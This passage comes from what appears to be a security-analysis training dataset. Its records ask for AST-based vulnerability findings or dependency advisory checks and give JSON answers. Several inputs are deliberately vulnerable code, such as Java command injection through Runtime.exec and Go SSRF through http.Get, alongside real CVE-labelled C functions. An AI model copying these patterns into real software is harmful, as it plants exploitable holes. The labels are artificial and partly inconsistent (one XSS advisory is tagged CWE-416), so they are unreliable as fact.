\"?\",\n \"ast_node\": \"?\",\n \"line\": 16,\n \"col\": 30\n },\n {\n \"token\": \"PSW32_MASK_RI\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 32\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 16,\n \"col\": 46\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 16,\n \"col\": 48\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 16,\n \"col\": 49\n },\n {\n \"token\": \"/* Build a 64 bit psw mask from 31 bit mask. */\",\n \"ast_node\": \"comment\",\n \"line\": 17,\n \"col\": 4\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 18,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 18,\n \"col\": 7\n },\n {\n \"token\": \"tmp\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 8\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 18,\n \"col\": 12\n },\n {\n \"token\": \"~\",\n \"ast_node\": \"~\",\n \"line\": 18,\n \"col\": 14\n },\n {\n \"token\": \"mask\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 18,\n \"col\": 19\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 18,\n \"col\": 21\n },\n {\n \"token\": \"PSW32_USER_BITS\",\n \"ast_node\": \"identifier\",\n \"line\": 18,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 18,\n \"col\": 39\n },\n {\n \"token\": \"/* Invalid psw mask. */\",\n \"ast_node\": \"comment\",\n \"line\": 19,\n \"col\": 5\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 20,\n \"col\": 5\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 20,\n \"col\": 12\n },\n {\n \"token\": \"EINVAL\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 20,\n \"col\": 19\n },\n {\n \"token\": \"regs\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 4\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 21,\n \"col\": 8\n },\n {\n \"token\": \"psw\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 10\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 21,\n \"col\": 13\n },\n {\n \"token\": \"mask\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 21,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 21,\n \"col\": 21\n },\n {\n \"token\": \"regs\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 22\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 21,\n \"col\": 26\n },\n {\n \"token\": \"psw\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 28\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: OrchardCore\nInstalled version: <1.2.1\nSummary: orchardcore is vulnerable to Cross-site Scripting", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-6w5m-jgc5-8cgc\",\n \"cve\": \"CVE-2022-0159\",\n \"aliases\": [\n \"CVE-2022-0159\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"OrchardCore\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.2.1\",\n \"fixed_version\": \"1.2.1\",\n \"finding\": \"orchardcore is vulnerable to Cross-site Scripting\",\n \"remediation\": \"Upgrade OrchardCore to 1.2.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.1.190-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: forcedeth: fix off-by-one when saving/restoring non-PCI config space nv_suspend() and nv_resume() walk the non-PCI configuration s...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-89596\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.1.190-1\",\n \"fixed_version\": \"6.1.190-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: forcedeth: fix off-by-one when saving/restoring non-PCI config space nv_suspend() and nv_resume() walk the non-PCI configuration s...\",\n \"remediation\": \"Upgrade linux to 6.1.190-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "BOOL ber_read_bit_string(wStream* s, int* length, BYTE* padding)\n{\n\tif(!ber_read_universal_tag(s, BER_TAG_BIT_STRING, FALSE) ||\n\t\t!ber_read_length(s, length))\n\t\treturn FALSE;\n\n\tif(Stream_GetRemainingLength(s) < 1)\n\t\treturn FALSE;\n\tStream_Read_UINT8(s, *padding);\n\treturn TRUE;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"project\": \"FreeRDP\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: vm2\nInstalled version: 3.11.3\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"vm2\",\n \"installed_version\": \"3.11.3\",\n \"note\": \"vm2 3.11.3 is at or above the fixed version for GHSA-248r-7h7q-cr24; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void jpc_qmfb_join_col(jpc_fix_t *a, int numrows, int stride,\n int parity)\n{\n\n\tint bufsize = JPC_CEILDIVPOW2(numrows, 1);\n\tjpc_fix_t joinbuf[QMFB_JOINBUFSIZE];\n\tjpc_fix_t *buf = joinbuf;\n\tregister jpc_fix_t *srcptr;\n\tregister jpc_fix_t *dstptr;\n\tregister int n;\n\tint hstartcol;\n\n\t/* Allocate memory for the join buffer from the heap. */\n\tif (bufsize > QMFB_JOINBUFSIZE) {\n\t\tif (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {\n\t\t\t/* We have no choice but to commit suicide. */\n\t\t\tabort();\n\t\t}\n\t}\n\n\thstartcol = (numrows + 1 - parity) >> 1;\n\n\t/* Save the samples from the lowpass channel. */\n\tn = hstartcol;\n\tsrcptr = &a[0];\n\tdstptr = buf;\n\twhile (n-- > 0) {\n\t\t*dstptr = *srcptr;\n\t\tsrcptr += stride;\n\t\t++dstptr;\n\t}\n\t/* Copy the samples from the highpass channel into place. */\n\tsrcptr = &a[hstartcol * stride];\n\tdstptr = &a[(1 - parity) * stride];\n\tn = numrows - hstartcol;\n\twhile (n-- > 0) {\n\t\t*dstptr = *srcptr;\n\t\tdstptr += 2 * stride;\n\t\tsrcptr += stride;\n\t}\n\t/* Copy the samples from the lowpass channel into place. */\n\tsrcptr = buf;\n\tdstptr = &a[parity * stride];\n\tn = hstartcol;\n\twhile (n-- > 0) {\n\t\t*dstptr = *srcptr;\n\t\tdstptr += 2 * stride;\n\t\t++srcptr;\n\t}\n\n\t/* If the join buffer was allocated on the heap, free this memory. */\n\tif (buf != joinbuf) {\n\t\tjas_free(buf);\n\t}\n\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-20", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/OliveTin/OliveTin\nInstalled version: <0.0.0-20260531214440-ebffd9f040f7\nSummary: OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-prj9-97mp-mwh2\",\n \"cve\": \"CVE-2026-53541\",\n \"aliases\": [\n \"CVE-2026-53541\",\n \"GO-2026-5552\"\n ],\n \"cwe\": \"CWE-20\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/OliveTin/OliveTin\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <0.0.0-20260531214440-ebffd9f040f7\",\n \"fixed_version\": \"0.0.0-20260531214440-ebffd9f040f7\",\n \"finding\": \"OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering\",\n \"remediation\": \"Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260531214440-ebffd9f040f7 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "java", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following Java code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "class Cmd {\n void ping(HttpServletRequest request) throws Exception {\n String host = request.getParameter(\"id\");\n Runtime.getRuntime().exec(\"ping -c 1 \" + host);\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via Runtime.exec\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"method_invocation\",\n \"ast_path\": [\n \"program\",\n \"class_declaration\",\n \"class_body\",\n \"method_declaration\",\n \"block\",\n \"expression_statement\",\n \"method_invocation\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"Runtime\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"getRuntime\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"exec\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \"ping -c 1 \",\n \"ast_node\": \"string_fragment\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 4,\n \"col\": 41\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \"host\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 49\n }\n ],\n \"explanation\": \"A request parameter is concatenated into a command passed to Runtime.exec.\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.jeecgframework.boot:jeecg-boot-base\nInstalled version: <3.1.0\nSummary: Cross-site Scripting in jeecg-boot", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-q448-6c3m-cxmj\",\n \"cve\": \"CVE-2021-44585\",\n \"aliases\": [\n \"CVE-2021-44585\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.jeecgframework.boot:jeecg-boot-base\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <3.1.0\",\n \"fixed_version\": \"3.1.0\",\n \"finding\": \"Cross-site Scripting in jeecg-boot\",\n \"remediation\": \"Upgrade org.jeecgframework.boot:jeecg-boot-base to 3.1.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int http_buf_read(URLContext *h, uint8_t *buf, int size)\n{\n HTTPContext *s = h->priv_data;\n int len;\n /* read bytes from input buffer first */\n len = s->buf_end - s->buf_ptr;\n if (len > 0) {\n if (len > size)\n len = size;\n memcpy(buf, s->buf_ptr, len);\n s->buf_ptr += len;\n } else {\n int64_t target_end = s->end_off ? s->end_off : s->filesize;\n if ((!s->willclose || s->chunksize < 0) &&\n target_end >= 0 && s->off >= target_end)\n return AVERROR_EOF;\n len = ffurl_read(s->hd, buf, size);\n if (!len && (!s->willclose || s->chunksize < 0) &&\n target_end >= 0 && s->off < target_end) {\n av_log(h, AV_LOG_ERROR,\n \"Stream ends prematurely at %\"PRId64\", should be %\"PRId64\"\\n\",\n s->off, target_end\n );\n return AVERROR(EIO);\n }\n }\n if (len > 0) {\n s->off += len;\n if (s->chunksize > 0)\n s->chunksize -= len;\n }\n return len;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-10190\",\n \"project\": \"FFmpeg\",\n \"vulnerable_lines\": [\n 13,\n 14,\n 15,\n 18,\n 19,\n 21\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 7,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 7,\n \"col\": 17\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"size\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 22\n },\n {\n \"token\": \"memcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 15\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 16\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 19\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 21\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 22\n },\n {\n \"token\": \"buf_ptr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 31\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 37\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 11,\n \"col\": 10\n },\n {\n \"token\": \"buf_ptr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 11,\n \"col\": 12\n },\n {\n \"token\": \"+=\",\n \"ast_node\": \"+=\",\n \"line\": 11,\n \"col\": 20\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 11,\n \"col\": 26\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 12,\n \"col\": 7\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 12,\n \"col\": 12\n },\n {\n \"token\": \"int64_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 13,\n \"col\": 8\n },\n {\n \"token\": \"target_end\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 13,\n \"col\": 27\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 29\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 13,\n \"col\": 30\n },\n {\n \"token\": \"end_off\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 32\n },\n {\n \"token\": \"?\",\n \"ast_node\": \"?\",\n \"line\": 13,\n \"col\": 40\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 42\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 13,\n \"col\": 43\n },\n {\n \"token\": \"end_off\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 45\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 13,\n \"col\": 53\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 55\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 13,\n \"col\": 56\n },\n {\n \"token\": \"filesize\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 58\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 13,\n \"col\": 66\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 14,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 14,\n \"col\": 12\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 14,\n \"col\": 13\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 14\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 14,\n \"col\": 15\n },\n {\n \"token\": \"willclose\",\n \"ast_node\": \"field_identifier\",\n \"line\": 14,\n \"col\": 17\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 14,\n \"col\": 27\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-416", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: com.adobe.acs:acs-aem-commons\nInstalled version: <4.10.0\nSummary: Reflected Cross-site Scripting in ACS Commons", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-f92j-qf46-p6vm\",\n \"cve\": \"CVE-2021-21028\",\n \"aliases\": [\n \"CVE-2021-21028\",\n \"CVE-2021-21043\",\n \"GHSA-7r83-w6r8-fh6w\"\n ],\n \"cwe\": \"CWE-416\",\n \"ecosystem\": \"Maven\",\n \"package\": \"com.adobe.acs:acs-aem-commons\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <4.10.0\",\n \"fixed_version\": \"4.10.0\",\n \"finding\": \"Reflected Cross-site Scripting in ACS Commons\",\n \"remediation\": \"Upgrade com.adobe.acs:acs-aem-commons to 4.10.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-502", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: langsmith\nInstalled version: <0.6.0\nSummary: LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-3644-q5cj-c5c7\",\n \"cve\": \"CVE-2026-45134\",\n \"aliases\": [\n \"CVE-2026-45134\",\n \"PYSEC-2026-2555\",\n \"PYSEC-2026-2560\",\n \"PYSEC-2026-2582\"\n ],\n \"cwe\": \"CWE-502\",\n \"ecosystem\": \"npm\",\n \"package\": \"langsmith\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <0.6.0\",\n \"fixed_version\": \"0.6.0\",\n \"finding\": \"LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning\",\n \"remediation\": \"Upgrade langsmith to 0.6.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: chromium\nInstalled version: 99.0.4844.51-1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"chromium\",\n \"installed_version\": \"99.0.4844.51-1\",\n \"note\": \"chromium 99.0.4844.51-1 is at or above the fixed version for DEBIAN-CVE-2022-4922; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-918", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this go snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "func fetch(w http.ResponseWriter, r *http.Request) {\n\tvalue := r.FormValue(\"name\")\n\tresp, err := http.Get(value)\n\tif err != nil { return }\n\tdefer resp.Body.Close()\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-918\",\n \"cwe_name\": \"Server-Side Request Forgery (SSRF)\",\n \"title\": \"SSRF via http.Get\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"http\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"Get\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 28\n }\n ],\n \"explanation\": \"A user-supplied URL is fetched server-side without validation.\",\n \"remediation\": \"Allow-list destination hosts, resolve and validate the IP, and block internal/link-local ranges.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:5.0\nManifest: distro package manager (apt/apk)\nPackage: freetype\nInstalled version: <2.3.7-2+lenny7\nSummary: freetype - missing input sanitising", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DSA-2328-1\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:5.0\",\n \"package\": \"freetype\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.3.7-2+lenny7\",\n \"fixed_version\": \"2.3.7-2+lenny7\",\n \"finding\": \"freetype - missing input sanitising\",\n \"remediation\": \"Upgrade freetype to 2.3.7-2+lenny7 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-284", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static int myrecvfrom6(int sockfd, void *buf, size_t *buflen, int flags,\n\t\t struct in6_addr *addr, uint32_t *ifindex)\n {\n \tstruct sockaddr_in6 sin6;\n\tunsigned char cbuf[CMSG_SPACE(sizeof(struct in6_pktinfo))];\n \tstruct iovec iovec;\n \tstruct msghdr msghdr;\n \tstruct cmsghdr *cmsghdr;\n\tssize_t len;\n\n\tiovec.iov_len = *buflen;\n\tiovec.iov_base = buf;\n\tmemset(&msghdr, 0, sizeof(msghdr));\n\tmsghdr.msg_name = &sin6;\n\tmsghdr.msg_namelen = sizeof(sin6);\n\tmsghdr.msg_iov = &iovec;\n\tmsghdr.msg_iovlen = 1;\n\tmsghdr.msg_control = cbuf;\n\tmsghdr.msg_controllen = sizeof(cbuf);\n\n\tlen = recvmsg(sockfd, &msghdr, flags);\n\tif (len == -1)\n\t\treturn -errno;\n\t*buflen = len;\n\n\t/* Set ifindex to scope_id now. But since scope_id gets not\n\t * set by kernel for linklocal addresses, use pktinfo to obtain that\n\t * value right after.\n\t */\n \t*ifindex = sin6.sin6_scope_id;\n for (cmsghdr = CMSG_FIRSTHDR(&msghdr); cmsghdr;\n \t cmsghdr = CMSG_NXTHDR(&msghdr, cmsghdr)) {\n\t\tif (cmsghdr->cmsg_level == IPPROTO_IPV6 &&\n\t\t cmsghdr->cmsg_type == IPV6_PKTINFO &&\n\t\t cmsghdr->cmsg_len == CMSG_LEN(sizeof(struct in6_pktinfo))) {\n\t\t\tstruct in6_pktinfo *pktinfo;\n \n\t\t\tpktinfo = (struct in6_pktinfo *) CMSG_DATA(cmsghdr);\n\t\t\t*ifindex = pktinfo->ipi6_ifindex;\n \t\t}\n \t}\n 